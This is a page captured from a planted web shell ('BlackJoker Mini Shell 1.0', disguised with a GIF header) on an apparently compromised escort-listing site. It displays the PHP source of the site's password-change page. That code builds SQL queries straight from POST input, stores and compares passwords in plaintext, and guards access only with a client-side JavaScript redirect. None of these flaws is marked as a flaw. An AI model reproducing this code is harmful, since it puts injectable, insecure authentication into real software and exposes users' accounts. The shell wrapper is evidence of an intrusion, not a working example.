GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/
Upload File :
Current File : /home/serb/public_html/hobbyist-password.php

<?
  session_start();
   if(!($_SESSION['islogin']))
  {
	  ?>
      <script language="javascript">
	  location.href="index.php";
	  </script>
  <? }
 include("lib/globals.php");
 include("lib/common.php");
 include("lib/functions.php");
 ?>
 <?
	if ($_POST)
	{
		$oldpass=$_POST['oldPassword'];
		
		$sql_oldpass="SELECT * FROM user_info WHERE userid='".$_SESSION['userid']."'";
		$res_oldpass=execute_query($sql_oldpass);
		$row_oldpass=mysql_fetch_array($res_oldpass);
		
		if($row_oldpass['password']==$_POST['oldPassword'])
		{
			$sql_updatepass="UPDATE user_info SET password='".$_POST['newPassword']."' WHERE userid='".$_SESSION['userid']."'";
			execute_query($sql_updatepass);
			?>
			<script language="javascript">
                	location.href="hobbyist-password.php?msg=2";
            </script>
			<?
			
		}
		else
		{
			?>
			<script language="javascript">
                	location.href="hobbyist-password.php?msg=1";
            </script>
			<?
		}
		
		
	}
?>
 
<? include "includes/header_top.php";?>

<body>

<script language="javascript">

	function validate()
	{		

		
		if(document.f22.oldPassword.value=="")
		{
			alert("Enter your Old Password");
			document.f22.oldPassword.focus();
			return false;
		}
		if(document.f22.newPassword.value=="")
		{
			alert("Enter Your New Password");
			document.f22.newPassword.focus();
			return false;
		}
		
		if(document.f22.newPassword.value!=document.f22.passwordAgn.value)
		{
			alert("Password Not Match");
			document.f22.passwordAgn.focus();
			return false;
		}
				
		
	}

	

</script>
<script>
      function del_record(id,name,page)
   {
	 var msg="Sure to delete your tour with all it's references ? ";
	 var choice=confirm(msg);
	 if(choice)
	 {
	   var target="delete_tour.php?id="+id;
	   //alert(target);
	   window.location.href=target;
	 }
   }
	
</script>

 <? include "includes/header.php";?>
	    
    <div class="main_bg">
   
 		<div style="height:32px;"></div>
        <div  style="width:1000px; margin:0 auto;">
        	
            <div class="statedetails">
                	<div class="stdtls_header">
                    	<span style="color:#000;">Home/My Account
                    </div>
                    <div class="stdtls_midder">
                    	<div style="height:10px;"></div>
                        	<?
							 $sql_postad="select * from escort_details where user_id='".$_SESSION['userid']."'";
							 $res_postad=execute_query($sql_postad);
							 $num_postad=mysql_num_rows($res_postad);
							 $row_postad=mysql_fetch_array($res_postad);
							?>
                    	<div class="left_containmain"> 
                        	<div style=" width:980px; margin:0 auto; margin:0 auto; font-family:'Open Sans',sans-serif; font-size:14px; color:#000;">
                          	<table border="0" cellpadding="0" cellspacing="0">
                            	<tr>
                                	<td class="updatehdrstyle23"><a href="hobbyist-account.php"><img src="images/edit_profile.png" style="vertical-align:middle;" /><br/>My Profile</a></td>
                                    <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <!--<td class="updatehdrstyle23"><a href="agency-escorts.php"><img src="images/add_escort.png" style="width:52px; height:52px; vertical-align:middle" /><br/>My Escorts</a></td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><a href="add-myvideos.php?pid=<?=$row_postad['id']?>"><img src="images/my_videos.png" style="width:55px; height:55px; vertical-align:middle" /><br/>My Videos</a></td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><img src="images/verifyimage.png" style="width:55px; height:55px; vertical-align:middle" /><br/> 100% verify</td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><a href="add-mytours.php?pid=<?=$row_postad['id']?>"><img src="images/my_tour.png" style="width:55px; height:55px; vertical-align:middle" /><br/> My Tours</a></td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>-->
                                     <td class="updatehdrstyle23"><a href="hobbyist-nitification.php"><img src="images/notification.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Notification</a></td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><img src="images/my_reviews.png" style="width:55px; height:55px; vertical-align:middle" /><br/> My Reviews</td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <!--<td class="updatehdrstyle23"><img src="images/blacklist.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Black List</td>
                                    <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><img src="images/premium.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Premium</td>-->
                                    <!--<td class="updatehdrstyle23"><a href="#"><img src="images/my_block.png" style="vertical-align:middle;" /><br/>Block</a></td>-->
                                    <td class="updatehdrstyle23"><a href="hobbyiest-followescorts.php"><img src="images/follower.png" style="width:55px; height:55px; vertical-align:middle;" /><br/>Follow Escorts</a></td>
                                    <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><a href="contact_us.php"><img src="images/support.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Support</a></td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><a href="hobbyist-password.php"><img src="images/settings.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Settings</a></td>
                                    <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                     <td class="updatehdrstyle23"><a href="remove-hobbyistaccount.php"><img src="images/removeacc.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Remove Account</a></td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><a href="logout.php"><img src="images/logout.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Logout</a></td>
                                    
                                
                                </tr>
                                <tr height="8"></tr>
                               
                            	
                            </table>
            						
						
                        	</div>
                           <br/>                          
                           
                           <div style=" width:960px; margin:0 auto; font-family:'Open Sans',sans-serif; font-size:14px; color:#000;">
                          		
                               	<div class="postadpagebody">
                                	<h1>Account Setting</h1>
                                   
                                    <div class="tourlist">
                                        <div style="text-align:center; width:550px; margin:0 auto; margin-top:10px;">
                                           <?
											if($_GET['msg']==1)
											{?>
                                              <p class="noescort">
                                                	
													Wrong Old Password.		
													
                                                </p>
                                                <? } ?>
                                           <?
											if($_GET['msg']==2)
											{?>
                                              <p class="noescort">
                                                	
													Your Password Has Been Changed Successfully.		
													
                                                </p>
                                                <? } ?>      
                                            
                                       </div>                         
                                    
                                    </div>
                                    <div class="addtourlist">
                                    	                                       
                                       
                                        	<form  action="<?=$_SERVER['PHP_SELF'] ?>" enctype="multipart/form-data"  method="post" name="f22" style="padding: 5px;" onSubmit="return validate();">
                                            <table border="0" cellpadding="0" cellspacing="0" style="margin:0 auto;">
                                            
                                            	<tr height="10"></tr>
                                                <tr>
                                                	<td class="jointext222">Old Password :</td>
                                                    <td>
                                                    	<input type="text" id="title" class="main_input" name="oldPassword">
                                                    </td>
                                                </tr>
                                                <tr height="8"></tr>
                                                <tr>
                                                	<td class="jointext222">New Password:</td>
                                                    <td><input type="text" name="newPassword" class="main_input" />
                                                   </td>
                                                </tr> 
                                                <tr height="8"></tr>
                                                <tr>
                                                	<td class="jointext222">Password Again:</td>
                                                    <td><input type="text" name="passwordAgn" class="main_input" />
                                                   </td>
                                                </tr>                                                 
                                                
                                                <tr height="15"></tr>
                                                <tr>
                                                	<td></td>
                                                	<td align="center">
                                                    <input type="image" src="images/submit.png" />
                                                    
                                                    </td>
                                                </tr>
                                                <tr height="15"></tr>
                                                
                                            
                                            </table>
                                           </form>
                                       
                                    </div>
                                
                                </div>
                                
                                <br class="spacer" />
                               
            						
						
                        	</div>
                        <br class="spacer" />
                        </div>
                        
                         
                        
                        
                    
                    </div>
                    <div class="stdtls_footer"></div>
                </div>
            
            <br class="spacer" />
            
        </div>
     
 </div>

<? include "includes/footer.php";?>

./BlackJoker Mini Shell 1.0